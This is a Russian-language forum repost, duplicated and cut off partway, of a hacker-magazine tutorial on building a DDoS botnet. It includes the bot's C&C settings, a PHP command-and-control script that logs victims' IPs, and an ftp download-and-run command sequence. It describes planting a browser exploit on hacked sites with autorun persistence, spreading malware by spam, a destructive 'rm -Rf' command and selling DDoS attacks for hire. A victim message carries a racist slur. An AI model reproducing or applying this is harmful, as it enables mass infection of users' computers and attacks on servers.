типа ДДос атака %) :
Создание собственной DDoS-армии
Все, что мы писали о DDoS-атаках до сих пор носило исключительно теоретический характер. Сегодня мы решили приоткрыть завесу секретности и рассказать тебе, как такие атаки проводятся на практике. Специально для тебя мы нашли чела, который проделает вместе с тобой все шаги к созданию DDoS-армии и проведет небольшую атаку на один из узлов Сети.
Помчались!
Если ты временами страдаешь провалами в памяти и совсем позабыл, что такое DDoS-атаки, напомню. Допустим, мне приспичило вывести крупный сервер неприятеля из строя. Каким образом я могу это сделать? Конечно, существует множество различных способов реализации моей задумки. Например, если мне удастся поломать сервак, получить root-shell, я смогу выполнить и команду «cd /;rm –Rf *», в результате чего все файлы, находящиеся на серванте удалятся и компьютер естественным образом перестанет работать. Но этот метод не так уж и идеален – получить шелл-доступ с абсолютными привилегиями не всегда просто. Поэтому порой бывает целесообразно использовать другие, более универсальные способы. Например, можно послать серверу огромное количество мусорного трафика, полностью забив входящими пакетами канал жертвы. В результате этого атакуемый компьютер просто перестанет отвечать на запросы до тех пор, пока не прекратится флуд. Конечно же, для реализации этой технологии общая пропускная способность каналов, с которых производится атака, должна быть больше, чем канал атакуемой тачки.
На распутье
В общем-то, цель понятная: мне нужно завладеть каналами, суммарная производительность которых превышает или хотя бы сравнима со скоростью канала жертвы. Тут можно пойти двумя путями. Первый заключается вот в чем. Можно взломать несколько крупных серверов, залить и собрать на них специализированный софт, реализующий одну из flood-атак, после чего отдать им команду на начало DDoS-атаки. Так, например, FIN/ACK flooder от 3APA3’ы (www.security.nnov.ru/files/stream3.c) “на ура” валит сервера под Win2k. Но что бы не говорили, поломать десяток крупных серверов – сложная, порой непосильная задача. Именно по этой причине сегодня я пойду вторым путем: устрою массовое протроянивание машин простых юзеров, использующих скромные каналы и юзающих в качестве операционки Windows. Разумеется, для этого я заюзаю один из распространенных виндовых багов, либо банально проспамлю юзеров специальным, заранее подготовленным трояном, чтобы превратить их тачки в своих ручных зверьков. Совершенно ясно, что каналы связи с инетом у большинства юзеров Сети гораздо уже, чем у крупных серверов, поэтому, чтобы создать мощную армию DDoS-ботов, придется поломать несколько тысяч пользователей. С таким отрядом вполне уже можно завалить и крупную добычу. Сейчас я покажу тебе, как лучше всего реализовать эту атаку на практике. Точи коньки, поехали!
Готовим бойца
Прежде, чем начинать DDoS-атаку на Microsoft.com, необходимо как следует подготовиться. Прежде всего нужно найти подходящего DDoS-трояна, которым я буду заражать взломанные компьютеры. На самом деле, найти что-то стоящее в интернете – дохлый номер, в чем я сам наглядно убедился за несколько часов непрерывного серфинга различных поисковых машин, форумов и хакерских архивов. Ни одна из публичных тулз не подходила мне по всем параметрам. Чего же я требовал от DDoS-софта? Прежде всего, нужно понимать, что чем скромнее размер выполняемого бинарника, тем лучше: троян должен быть маленьким и юрким, чтобы его было проще установить и чтобы он не бросался сильно в глаза. Одновременно с этим тулза должна эффективно флудить жертву, засыпая ее не по-детски пакетами, используя одну из классических ddos-технологий. Так же очень важно, чтобы ботами можно было легко управлять – армия из тысячи бойцов должна быть мобильной и послушной. Увы, ничего стоящего я в инете не нашел и постепенно вплотную подошел к мысли, что надо либо искать по знакомым что-то приватное, либо писать новый, оригинальный инструмент. Я потратил некоторое время на то, чтобы убедиться: расстаться с готовым инструментом для ддоса никто не спешит и найти подходящий вариант будет сложно - проще написать его самостоятельно. Однако я не знаток в системном программировании под Windows, поэтому обратился к Горлуму, который по старой дружбе подогнал офигенный ddos-инструмент, полностью подходящий под все мои требования. Выполняемый файл весит всего 7 килобайт, поэтому его будет легко впаривать. Впрочем, возможностей у тулзы минимум: этот троян умеет организовывать icmp-flood атаки, выполнять любую команду для cmd и выводить пользователю текстовое сообщение в MsgBox. На первый взгляд может показаться, что этого недостаточно. В самом деле, если уж захватывать тысячу компьютеров, то может быть стоит обеспечить какой-то более продуманный контроль над тачками? Однако при ближайшем рассмотрении оказывается, что и этого набора функций более чем достаточно. Действительно, при помощи команды ftp можно закачать на винчестер любой другой бинарник и легко его запустить. Так что никаких проблем не возникнет, если появится желание продвинуться дальше и по полной нагрузить захваченные тачки.
Боец готов!
Итак, спустя пару часов после того, как я постучался к Горлуму в icq, мне пришло письмо с исходными кодами и собранным бинарником DDoS-бота. Настало время протестировать его в работе и разобраться хотя бы поверхностно, как он работает. После непродолжительного изучения исходников и работы программы, на моем лице возникла удовлетворенная улыбка: все работает просто офигительно. В самом начале кода определяется несколько ключевых параметров, которые тебе надо будет поменять, если ты, вопреки предостережениям, захочешь повторить мои действия. Но прежде чем вставать на эту шаткую дорожку, знай, что все это незаконно и попадает сразу под несколько статей уголовного кодекса нашей великой державы. Кроме того, следует знать, весь мой рассказ – чистой воды выдумка уколовшегося наркомана, а любые совпадения – чистой воды случайность. Итак, в самом начале исходника есть следующие строки:
Основные параметры DDoS-бота
// адрес web-сервера
#define WEBADDRESS "ired.inins.ru"
// имя файла\скрипта
#define WEBFILE "flood"
// размер пакета
#define PACKETSIZE 1000
// частота отсылки пакетов
#define FREQ 100
Скажу несколько слов о каждом параметре. Как я уже отмечал выше, троян самостоятельно получает команду, подключаясь к веб-серверу, урл которого определяется константой WEBADDRESS. Бот запрашивает на этом сервере документ с именем, хранящимся в WEBFILE и, исходя из полученной там команды, выполняет некоторое действие. Как вариант – начинает флудить жертву пакетами длинной PACKETSIZE, отсылая их 1 раз во временной промежуток, определяемый параметром FREQ. Дефолтные параметры отлично работают для средней паршивости кабельных каналов, при использовании модемного соединения могут возникнуть некоторые проблемы, поэтому целесообразно может быть уменьшить длину пакета и увеличить параметр FREQ. Но это уже твое дело . Как тебе, надеюсь, понятно, в качестве файла с заданием может выступать не просто текстовик, но и любой сценарий – ведь web-сервер отдает клиенту текстовый вывод этого скрипта, а DDoS-боту нет никакой разницы, с чем работать. По этой причине целесообразно для удобства написать несложный php-сценарий для управления ботами и сборки статистики. Я не стану тебя особенно грузить и просто приведу здесь содержимое этого скрипта, который я написал за 5 минут:
Скрипт для управления ботами.
<?
if(isset($_GET[sta])) { /* Конфигурируем ботов */
Echo "<h1> Configuring and stats about DDoS bots</h1> ";
if(isset($_GET[sub])) { /* Если форма с новым заданием отправлена, открываем файл и перезаписываем содердимое */
$fp=fopen("command.db", "w");
if(fwrite($fp, $_GET[cmd])) echo "Command updated!
";
}
$fp=fopen("command.db", "r"); /* Выводим форму для смены текущей команды */
$cmd=fread($fp, 100);
echo "<form action=''> ";
echo "<input type=hidden name=sta value=1> ";
Echo "Current command is: <input type=text name=cmd value='$cmd'> ";
echo "<input type=submit name=sub value=\"Refresh!\"";
echo "</form> ";
} else { /* Если бот запрашивает команду, выводим ему содержимое файла, где она хранится и записываем ip в специальная файл */
$HTTP_SERVER_VARS["REMOTE_ADDR"];
$fp=fopen("stat.db", "a");
fwrite($fp, $HTTP_SERVER_VARS["REMOTE_ADDR"]);
fwrite($fp, "\n");
$fp=fopen("command.db", "r");
$cmd=fread($fp, 100);
echo $cmd; }
?>
Итак, мы создали систему контроля за работой ботов и сбора статистики. Теперь настало время подготовить код эксплойта для затроянивания пользователей. Это совсем не сложно, вот увидишь .
Засылаем казачка
Если ты регулярно читаешь “Х”, то помнишь, что год назад Куттер написал статью «Ослик IE: залей через меня трояна». В ней он описывал j*******pt-эксплойт, эксплуатирующий баг в непропатченном осле шестой версии, который запущен под Windows XP. Сплойт можно вставить на какую-нибудь html-страницу похаканного сайта и уязвимые посетители, просматривающие страницу со сплойтом, будут протрояниваться. В самом деле, такой подход довольно производителен. Основная проблема заключается в том, чтобы сломать какой-нибудь популярный ресурс с большой посещаемостью. Хотя, на самом-то деле, сделать это не так уж и сложно. Мы не раз писали о серьезных проблемах с безопасностью даже в самых больших и коммерчески успешных проектах – что уж говорить про середнячков с посещаемостью 2-3 тысячи хостов в день? Действительно, сейчас в ходу очень много актуальных уязвимостей, да что там, порой можно найти узлы, на которых присутствуют тупые баги конца девяностых. Как бы то ни было, наша статья не о взломе серверов. Об этом тебе лучше почитать в других статьях этого номера, а сейчас настало время впарить нашего чудо-трояна посетителям взломанного ресурса. Я специально не стал приводить в журнале код сплойта, который реализует эту задачу, поскольку, во-первых, все равно ты не будешь перебивать его со страниц журнала руками, а, во-вторых, мы уже печатали его в куттеровской статье. Сплоит ты можешь найти на сайте ired.inins.ru/xa/. Для его использования понадобится произвести элементарные изменения в его коде: изменить путь для закачки нашего трояна. Это не должно вызвать затруднений, поскольку тело сплойта хорошо прокомментировано. Я сохранял нашего трояна в ветку автозагрузки: как только юзер ребутнется, троян стартует, скопирует себя в system32 под хитрым именем и сотрет из автозагрузки – таким образом, пользователь ничего не заметит. Можно так же заменить трояном файл c:\\Program Files\\Windows Media Player\\wmplayer.exe – в этом случае юзер затроянится сразу после просмотра web-страницы.
После того, как я отредактировал нужным образом код эксплойта, я выбрал один из своих поломанных сайтов и изменил главную страницу, вставив злой код. Хотя сплоит и палит свою работу, пользователи не увидят ничего подозрительного и продолжат юзать популярный ресурс. А в это время в чреве windows будут происходить необратимые процессы: загрузиться и выполниться наш троян, который надежно пропишется в системе. После перезагрузки он подключится к серверу, получит команду и начнет ее методично выполнять. Теперь оставалось только ждать, пока затроянится достаточное количество пользователей. По моим расчетам, примерно 20% посетителей используют уязвимые браузеры и являются моими клиентами. Это не так уж и мало, если вдуматься: в день сайт посещало примерно 15000 юзеров, получалось, что за сутки к моей армии должно прибавляться примерно 3000 бойцов.
Готовимся к атаке
Сейчас настало время сделать небольшую паузу и рассказать о том, как, собственно, управлять ботами. В самом деле, какие команды понимают наши бойцы? Тут все просто:
* cmd команда – выполняет команду для стандартного интерпретатора Windows. Например, можно заставить машину скачать из инета любой файл. Для этого необходимо составить простенький сценарий для ftp-клиента и соединиться с узлом, используя этот скрипт:
echo login> 1.cmd
echo passwd> > 1.cmd
echo GET file.exe> > 1.cmd
ftp –s:1.cmd ftp.host.ru
* Так же можно повеселиться над затрояненными чуханами, выводя им на экран забавные сообщения. Для этого надо в файл с командой поместить следующее предложение:
mess You was fucked, nigga! Gritz2: x_crew
* И наконец, самая главная функция: запуск icmp-флуд атаки. Это реализуется при помощи красноречивой команды flood:
flood www.xakep.ru
После того, как наш бот получит такую команду он начнет засыпать наш сервер icmp-пакетами длиной 10 кб, причем отсылать он их будет с частотой 1 пакет в секунду. Это оптимальный параметр для чертей, сидящих на выделенном канале, хотя то, как это будет работать на диалапе – вопрос. С другой стороны, в исходном коде бота, всегда можно подправить длину пакета и частоту отсылки, поэтому проблем не возникнет. Разумеется, вместо 127.0.0.1 нужно указать ip жертвы DDoS-атаки.
В атаку!
Увы, несмотря на все мои позитивные расчеты, количество ботов не спешило увеличиваться. По всему выходило, что сплоит не работал должным образом. Была уже глубокая ночь и разобраться с этим я решил завтра, тем более, что под рукой не было уязвимой винды. На утро я протестил свой вариант сплойта на бажной машине и понял, что не совсем корректно его использовал – в спешке забыл залить файл error.jsp. Однако к этому времени доступ к сайту, на котором я тестил сплоит вчера, был уже потерян и я решил воспользоваться другим, менее посещаемым ресурсом. Я вспомнил о сайте, который ломал давным-давно, еще весной,- там была классическая sql-injection уязвимость. Не долго думая я набрал его адрес, поигрался с параметрами и стало понятно, что баг еще живой. Я быстро добавил на главную страницу код эксплоита и принялся ждать. В этот раз все сработало “на ура” и оказалось, что примерно 10-15% посетителей используют уязвимую винду в отсутствие файрвола – и это через год (!) после выхода эксплойта. Через некоторое время в файле со статистикой по ботам накопилось примерно полторы сотни зараженных ip-адресов и можно было приступать к активным действиям. Но прежде давай сосчитаем, какой канал нам по силам завалить. Предположим, половина наших юзеров обладает широким каналом в инет. Это вполне правдоподобная цифра, поскольку для распространения троянов я использовал англоязычный проект. Ну что же, в этом случае я вправе рассчитывать на то, что каждый из 75 человек будет съедать у жертвы 10 кб/сек. В этом случае суммарная мощность составит 750 кб/сек. Хорошо, сделаем скидку на возможные лаги и глюки, пусть даже 400 кб/сек. Это уже очень неплохо и вполне достаточно, чтобы повалить сервер, висящий на шейпинговом канале и не рассчитанный на большое количество запросов. Такая вот позитивная математика. Разумеется, я не какой-нибудь там уголовник, и не стал потехи ради атаковать серверы коммерческих предприятий. Я начал с тренировки на собственном хосте с небольшим каналом – и что ты думаешь? Через некоторое время я напрочь потерял связь с ним, нельзя было достучаться ни до ssh, ни до web-сервера. И тут я стал заложником собственной армии – дело в том, что я не мог отменить команду, пока не достучусь до веб-сервера . Пришлось ждать добрые полчаса, пока сами боты не смогут обновить команду и перейдут в режим ожидания. Надо сказать, после этого опыта я еще раз убедился в справедливости слов, что не стоит рубить сук, на котором сидишь. Суммарный трафик на icmp-счетчике моей машины составил примерно 170 метров и, можно сказать, я сполна ощутил экономический ущерб DDoS-атак . Вот так вот. Не шали.
Другие способы впаривания троянов
Помимо использования разнообразных сплойтов для IE, остаются актуальными и другие способы для впаривания троянов. Например, можно устроить социально-инженерную рассылку по нескольким миллионам адресов, призывая запустить скорее екзешник из аттача, чтобы увидеть фотографии белокурой Насти на летнем отдыхе. Так же, разумеется, можно воспользоваться технологией folder sploit, о которой NSD писал в одном из предыдущих номеров Х,- это заметно повысит эффективность твоих рассылок. Так же, что бы не говорили, спрос на генераторы карт bee+ все никак не уменьшится. В свое время при помощи *****ьного сайта, все усилия по раскрутке которого заключались в том, что я зарегал его в поисковике, я получал примерно 10 новых диалап-паролей в день. Так что же мешает заняться этим и сейчас, впаривая DDoS-троянов?
Схемы управления троянами
Самые первые трояны банально открывали локальный порт и ждали входящих соединений – при этом хозяин трояна подключатся к серверной части и делал свое злое дело. Но такой подход уже давно не жизнеспособен. Суди сам: большая часть пользователей спрятана за провайдерским файрволом и плюс к тому часто использует “серые” ip, которые натятся в инет шлюзом провайдера. Разумеется, такой подход плюс ко всему еще и дико неудобный. Ну представь: ты захватил тысячу компьютеров и тебе надо отдать ботам какую-то команду. Понадобиться выполнить тысячу подключений, что создаст кучу геморроя и ненужного трафика. По этой причине такой подход умер в конце девяностых. Какие же есть еще варианты? По мере того, как IRC набирала популярность, многие программеры пришли к следующему решению этой проблемы. Любой троян являлся еще и irc-ботом: подключался к irc-сети, заходил на определенный канал и ждал команды хозяина. Это довольно рационально и удобно: вне зависимости от количества захваченных компьютеров, отдавать команды проще простого, весь трафик берет на себя ircd. Однако и здесь есть куча подводных камней. Ну представь – на irc-сервер подключается тысяча нежданных гостей и заходят на какой-то левый канал. Конечно, это дело сразу попалят бдительные иркопы и закроют канал. Хотя, конечно, никто не мешает тебе попросту поднять собственный irc-сервер .
Но самый популярный и рациональный способ заключается в использовании т.н. “реверсивного” подхода. Это когда сервер и клиент как бы меняются местами. В нашем случае троян как раз работает по этой схеме: раз в 30 минут он скачивает из интернета текстовый файлик с некоторой командой и выполняет ее. Таким образом, даже люди с серыми ip будут под нашим контролем, а файл с командой можно разместить где угодно, на самом левом бесплатном хостинге – это совсем неважно.
Как на этом можно заработать?
DDoS – очень прибыльное занятие. На моей памяти есть случаи, когда за качественно выполненную работу заказчик предлагал несколько тысяч долларов. Разумеется, тут надо быть очень осторожным: следить, чтобы тебя не попалили офицеры ФСБ, не кинули недобросовестные засранцы и чтобы армия ботов работала четко и слаженно, оставляя вражеский сегмент не у дел, а заказчика – довольным и щедрым. Как только у тебя появится достаточный опыт в этом деле и соответствующие связи, проблем с заказами не будет. Более того, ты всегда сможешь найти себе работенку на специальных форумах – например, на одном из кардерских сайтов. Обычно заказчик перед выполнением заказа просит продемонстрировать мощность твоей армии на каком-то хосте непродолжительным флудом. И если его все устраивает, он видит, что ты в состоянии выполнить его заказ, он делает тебе предоплату и наслаждается результатом. Это обычная и стандартная схема. Сколько брать за работу? Здесь все очень сильно зависит от заказчика, твоего чутья и умения общаться с людьми. Понятие “новичок без портфолио” здесь отсутствует как таковое – твои возможности легко проверяются заказчиком на любом сервере. Поэтому важно чувствовать, сколько готов отдать твой клиент. Разумеется, лучше завалить 10 сайтов, получив с каждого по 300 долларов, чем один – за тысячу. Так что тут, как и везде, надо иметь голову и знать меру. Однако надо понимать, что договориться и сбить цену ты всегда успеешь, а вот поднять ее от первоначального уровня уже не получится.
P.S. Не судите строго. :nukesign:
Источник: www.xakep.ru
Создание собственной DDoS-армии
Все, что мы писали о DDoS-атаках до сих пор носило исключительно теоретический характер. Сегодня мы решили приоткрыть завесу секретности и рассказать тебе, как такие атаки проводятся на практике. Специально для тебя мы нашли чела, который проделает вместе с тобой все шаги к созданию DDoS-армии и проведет небольшую атаку на один из узлов Сети.
Помчались!
Если ты временами страдаешь провалами в памяти и совсем позабыл, что такое DDoS-атаки, напомню. Допустим, мне приспичило вывести крупный сервер неприятеля из строя. Каким образом я могу это сделать? Конечно, существует множество различных способов реализации моей задумки. Например, если мне удастся поломать сервак, получить root-shell, я смогу выполнить и команду «cd /;rm –Rf *», в результате чего все файлы, находящиеся на серванте удалятся и компьютер естественным образом перестанет работать. Но этот метод не так уж и идеален – получить шелл-доступ с абсолютными привилегиями не всегда просто. Поэтому порой бывает целесообразно использовать другие, более универсальные способы. Например, можно послать серверу огромное количество мусорного трафика, полностью забив входящими пакетами канал жертвы. В результате этого атакуемый компьютер просто перестанет отвечать на запросы до тех пор, пока не прекратится флуд. Конечно же, для реализации этой технологии общая пропускная способность каналов, с которых производится атака, должна быть больше, чем канал атакуемой тачки.
На распутье
В общем-то, цель понятная: мне нужно завладеть каналами, суммарная производительность которых превышает или хотя бы сравнима со скоростью канала жертвы. Тут можно пойти двумя путями. Первый заключается вот в чем. Можно взломать несколько крупных серверов, залить и собрать на них специализированный софт, реализующий одну из flood-атак, после чего отдать им команду на начало DDoS-атаки. Так, например, FIN/ACK flooder от 3APA3’ы (www.security.nnov.ru/files/stream3.c) “на ура” валит сервера под Win2k. Но что бы не говорили, поломать десяток крупных серверов – сложная, порой непосильная задача. Именно по этой причине сегодня я пойду вторым путем: устрою массовое протроянивание машин простых юзеров, использующих скромные каналы и юзающих в качестве операционки Windows. Разумеется, для этого я заюзаю один из распространенных виндовых багов, либо банально проспамлю юзеров специальным, заранее подготовленным трояном, чтобы превратить их тачки в своих ручных зверьков. Совершенно ясно, что каналы связи с инетом у большинства юзеров Сети гораздо уже, чем у крупных серверов, поэтому, чтобы создать мощную армию DDoS-ботов, придется поломать несколько тысяч пользователей. С таким отрядом вполне уже можно завалить и крупную добычу. Сейчас я покажу тебе, как лучше всего реализовать эту атаку на практике. Точи коньки, поехали!
Готовим бойца
Прежде, чем начинать DDoS-атаку на Microsoft.com, необходимо как следует подготовиться. Прежде всего нужно найти подходящего DDoS-трояна, которым я буду заражать взломанные компьютеры. На самом деле, найти что-то стоящее в интернете – дохлый номер, в чем я сам наглядно убедился за несколько часов непрерывного серфинга различных поисковых машин, форумов и хакерских архивов. Ни одна из публичных тулз не подходила мне по всем параметрам. Чего же я требовал от DDoS-софта? Прежде всего, нужно понимать, что чем скромнее размер выполняемого бинарника, тем лучше: троян должен быть маленьким и юрким, чтобы его было проще установить и чтобы он не бросался сильно в глаза. Одновременно с этим тулза должна эффективно флудить жертву, засыпая ее не по-детски пакетами, используя одну из классических ddos-технологий. Так же очень важно, чтобы ботами можно было легко управлять – армия из тысячи бойцов должна быть мобильной и послушной. Увы, ничего стоящего я в инете не нашел и постепенно вплотную подошел к мысли, что надо либо искать по знакомым что-то приватное, либо писать новый, оригинальный инструмент. Я потратил некоторое время на то, чтобы убедиться: расстаться с готовым инструментом для ддоса никто не спешит и найти подходящий вариант будет сложно - проще написать его самостоятельно. Однако я не знаток в системном программировании под Windows, поэтому обратился к Горлуму, который по старой дружбе подогнал офигенный ddos-инструмент, полностью подходящий под все мои требования. Выполняемый файл весит всего 7 килобайт, поэтому его будет легко впаривать. Впрочем, возможностей у тулзы минимум: этот троян умеет организовывать icmp-flood атаки, выполнять любую команду для cmd и выводить пользователю текстовое сообщение в MsgBox. На первый взгляд может показаться, что этого недостаточно. В самом деле, если уж захватывать тысячу компьютеров, то может быть стоит обеспечить какой-то более продуманный контроль над тачками? Однако при ближайшем рассмотрении оказывается, что и этого набора функций более чем достаточно. Действительно, при помощи команды ftp можно закачать на винчестер любой другой бинарник и легко его запустить. Так что никаких проблем не возникнет, если появится желание продвинуться дальше и по полной нагрузить захваченные тачки.
Боец готов!
Итак, спустя пару часов после того, как я постучался к Горлуму в icq, мне пришло письмо с исходными кодами и собранным бинарником DDoS-бота. Настало время протестировать его в работе и разобраться хотя бы поверхностно, как он работает. После непродолжительного изучения исходников и работы программы, на моем лице возникла удовлетворенная улыбка: все работает просто офигительно. В самом начале кода определяется несколько ключевых параметров, которые тебе надо будет поменять, если ты, вопреки предостережениям, захочешь повторить мои действия. Но прежде чем вставать на эту шаткую дорожку, знай, что все это незаконно и попадает сразу под несколько статей уголовного кодекса нашей великой державы. Кроме того, следует знать, весь мой рассказ – чистой воды выдумка уколовшегося наркомана, а любые совпадения – чистой воды случайность. Итак, в самом начале исходника есть следующие строки:
Основные параметры DDoS-бота
// адрес web-сервера
#define WEBADDRESS "ired.inins.ru"
// имя файла\скрипта
#define WEBFILE "flood"
// размер пакета
#define PACKETSIZE 1000
// частота отсылки пакетов
#define FREQ 100
Скажу несколько слов о каждом параметре. Как я уже отмечал выше, троян самостоятельно получает команду, подключаясь к веб-серверу, урл которого определяется константой WEBADDRESS. Бот запрашивает на этом сервере документ с именем, хранящимся в WEBFILE и, исходя из полученной там команды, выполняет некоторое действие. Как вариант – начинает флудить жертву пакетами длинной PACKETSIZE, отсылая их 1 раз во временной промежуток, определяемый параметром FREQ. Дефолтные параметры отлично работают для средней паршивости кабельных каналов, при использовании модемного соединения могут возникнуть некоторые проблемы, поэтому целесообразно может быть уменьшить длину пакета и увеличить параметр FREQ. Но это уже твое дело . Как тебе, надеюсь, понятно, в качестве файла с заданием может выступать не просто текстовик, но и любой сценарий – ведь web-сервер отдает клиенту текстовый вывод этого скрипта, а DDoS-боту нет никакой разницы, с чем работать. По этой причине целесообразно для удобства написать несложный php-сценарий для управления ботами и сборки статистики. Я не стану тебя особенно грузить и просто приведу здесь содержимое этого скрипта, который я написал за 5 минут:
Скрипт для управления ботами.
<?
if(isset($_GET[sta])) { /* Конфигурируем ботов */
Echo "<h1> Configuring and stats about DDoS bots</h1> ";
if(isset($_GET[sub])) { /* Если форма с новым заданием отправлена, открываем файл и перезаписываем содердимое */
$fp=fopen("command.db", "w");
if(fwrite($fp, $_GET[cmd])) echo "Command updated!
";
}
$fp=fopen("command.db", "r"); /* Выводим форму для смены текущей команды */
$cmd=fread($fp, 100);
echo "<form action=''> ";
echo "<input type=hidden name=sta value=1> ";
Echo "Current command is: <input type=text name=cmd value='$cmd'> ";
echo "<input type=submit name=sub value=\"Refresh!\"";
echo "</form> ";
} else { /* Если бот запрашивает команду, выводим ему содержимое файла, где она хранится и записываем ip в специальная файл */
$HTTP_SERVER_VARS["REMOTE_ADDR"];
$fp=fopen("stat.db", "a");
fwrite($fp, $HTTP_SERVER_VARS["REMOTE_ADDR"]);
fwrite($fp, "\n");
$fp=fopen("command.db", "r");
$cmd=fread($fp, 100);
echo $cmd; }
?>
Итак, мы создали систему контроля за работой ботов и сбора статистики. Теперь настало время подготовить код эксплойта для затроянивания пользователей. Это совсем не сложно, вот увидишь .
Засылаем казачка
Если ты регулярно читаешь “Х”, то помнишь, что год назад Куттер написал статью «Ослик IE: залей через меня трояна». В ней он описывал j*******pt-эксплойт, эксплуатирующий баг в непропатченном осле шестой версии, который запущен под Windows XP. Сплойт можно вставить на какую-нибудь html-страницу похаканного сайта и уязвимые посетители, просматривающие страницу со сплойтом, будут протрояниваться. В самом деле, такой подход довольно производителен. Основная проблема заключается в том, чтобы сломать какой-нибудь популярный ресурс с большой посещаемостью. Хотя, на самом-то деле, сделать это не так уж и сложно. Мы не раз писали о серьезных проблемах с безопасностью даже в самых больших и коммерчески успешных проектах – что уж говорить про середнячков с посещаемостью 2-3 тысячи хостов в день? Действительно, сейчас в ходу очень много актуальных уязвимостей, да что там, порой можно найти узлы, на которых присутствуют тупые баги конца девяностых. Как бы то ни было, наша статья не о взломе серверов. Об этом тебе лучше почитать в других статьях этого номера, а сейчас настало время впарить нашего чудо-трояна посетителям взломанного ресурса. Я специально не стал приводить в журнале код сплойта, который реализует эту задачу, поскольку, во-первых, все равно ты не будешь перебивать его со страниц журнала руками, а, во-вторых, мы уже печатали его в куттеровской статье. Сплоит ты можешь найти на сайте ired.inins.ru/xa/. Для его использования понадобится произвести элементарные изменения в его коде: изменить путь для закачки нашего трояна. Это не должно вызвать затруднений, поскольку тело сплойта хорошо прокомментировано. Я сохранял нашего трояна в ветку автозагрузки: как только юзер ребутнется, троян стартует, скопирует себя в system32 под хитрым именем и сотрет из автозагрузки – таким образом, пользователь ничего не заметит. Можно так же заменить трояном файл c:\\Program Files\\Windows Media Player\\wmplayer.exe – в этом случае юзер затроянится сразу после просмотра web-страницы.
После того, как я отредактировал нужным образом код эксплойта, я выбрал один из своих поломанных сайтов и изменил главную страницу, вставив злой код. Хотя сплоит и палит свою работу, пользователи не увидят ничего подозрительного и продолжат юзать популярный ресурс. А в это время в чреве windows будут происходить необратимые процессы: загрузиться и выполниться наш троян, который надежно пропишется в системе. После перезагрузки он подключится к серверу, получит команду и начнет ее методично выполнять. Теперь оставалось только ждать, пока затроянится достаточное количество пользователей. По моим расчетам, примерно 20% посетителей используют уязвимые браузеры и являются моими клиентами. Это не так уж и мало, если вдуматься: в день сайт посещало примерно 15000 юзеров, получалось, что за сутки к моей армии должно прибавляться примерно 3000 бойцов.
Готовимся к атаке
Сейчас настало время сделать небольшую паузу и рассказать о том, как, собственно, управлять ботами. В самом деле, какие команды понимают наши бойцы? Тут все просто:
* cmd команда – выполняет команду для стандартного интерпретатора Windows. Например, можно заставить машину скачать из инета любой файл. Для этого необходимо составить простенький сценарий для ftp-клиента и соединиться с узлом, используя этот скрипт:
echo login> 1.cmd
echo passwd> > 1.cmd
echo GET file.exe> > 1.cmd
ftp –s:1.cmd ftp.host.ru
* Так же можно повеселиться над затрояненными чуханами, выводя им на экран забавные сообщения. Для этого надо в файл с командой поместить следующее предложение:
mess You was fucked, nigga! Gritz2: x_crew
* И наконец, самая главная функция: запуск icmp-флуд атаки. Это реализуется при помощи красноречивой команды flood:
flood www.xakep.ru
После того, как наш бот получит такую команду он начнет засыпать наш сервер icmp-пакетами длиной 10 кб, причем отсылать он их будет с частотой 1 пакет в секунду. Это оптимальный параметр для чертей, сидящих на выделенном канале, хотя то, как это будет работать на диалапе – вопрос. С другой стороны, в исходном коде бота, всегда можно подправить длину пакета и частоту отсылки, поэтому проблем не возникнет. Разумеется, вместо 127.0.0.1 нужно указать ip жертвы DDoS-атаки.
В атаку!
Увы, несмотря на все мои позитивные расчеты, количество ботов не спешило увеличиваться. По всему выходило, что сплоит не работал должным образом. Была уже глубокая ночь и разобраться с этим я решил завтра, тем более, что под рукой не было уязвимой винды. На утро я протестил свой вариант сплойта на бажной машине и понял, что не совсем корректно его использовал – в спешке забыл залить файл error.jsp. Однако к этому времени доступ к сайту, на котором я тестил сплоит вчера, был уже потерян и я решил воспользоваться другим, менее посещаемым ресурсом. Я вспомнил о сайте, который ломал давным-давно, еще весной,- там была классическая sql-injection уязвимость. Не долго думая я набрал его адрес, поигрался с параметрами и стало понятно, что баг еще живой. Я быстро добавил на главную страницу код эксплоита и принялся ждать. В этот раз все сработало “на ура” и оказалось, что примерно 10-15% посетителей используют уязвимую винду в отсутствие файрвола – и это через год (!) после выхода эксплойта. Через некоторое время в файле со статистикой по ботам накопилось примерно полторы сотни зараженных ip-адресов и можно было приступать к активным действиям. Но прежде давай сосчитаем, какой канал нам по силам завалить. Предположим, половина наших юзеров обладает широким каналом в инет. Это вполне правдоподобная цифра, поскольку для распространения троянов я использовал англоязычный проект. Ну что же, в этом случае я вправе рассчитывать на то, что каждый из 75 человек будет съедать у жертвы 10 кб/сек. В этом случае суммарная мощность составит 750 кб/сек. Хорошо, сделаем скидку на возможные лаги и глюки, пусть даже 400 кб/сек. Это уже очень неплохо и вполне достаточно, чтобы повалить сервер, висящий на шейпинговом канале и не рассчитанный на большое количество запросов. Такая вот позитивная математика. Разумеется, я не какой-нибудь там уголовник, и не стал потехи ради атаковать серверы коммерческих предприятий. Я начал с тренировки на собственном хосте с небольшим каналом – и что ты думаешь? Через некоторое время я напрочь потерял связь с ним, нельзя было достучаться ни до ssh, ни до web-сервера. И тут я стал заложником собственной армии – дело в том, что я не мог отменить команду, пока не достучусь до веб-сервера . Пришлось ждать добрые полчаса, пока сами боты не смогут обновить команду и перейдут в режим ожидания. Надо сказать, после этого опыта я еще раз убедился в справедливости слов, что не стоит рубить сук, на котором сидишь. Суммарный трафик на icmp-счетчике моей машины составил примерно 170 метров и, можно сказать, я сполна ощутил экономический ущерб DDoS-атак . Вот так вот. Не шали.
Другие способы впаривания троянов
Помимо использования разнообразных сплойтов для IE, остаются актуальными и другие способы для впаривания троянов. Например, можно устроить социально-инженерную рассылку по нескольким миллионам адресов, призывая запустить скорее екзешник из аттача, чтобы увидеть фотографии белокурой Насти на летнем отдыхе. Так же, разумеется, можно воспользоваться технологией folder sploit, о которой NSD писал в одном из предыдущих номеров Х,- это заметно повысит эффективность твоих рассылок. Так же, что бы не говорили, спрос на генераторы карт bee+ все никак не уменьшится. В свое время при помощи *****ьного сайта, все усилия по раскрутке которого заключались в том, что я зарегал его в поисковике, я получал примерно 10 новых диалап-паролей в день. Так что же мешает заняться этим и сейчас, впаривая DDoS-троянов?
Схемы управления троянами
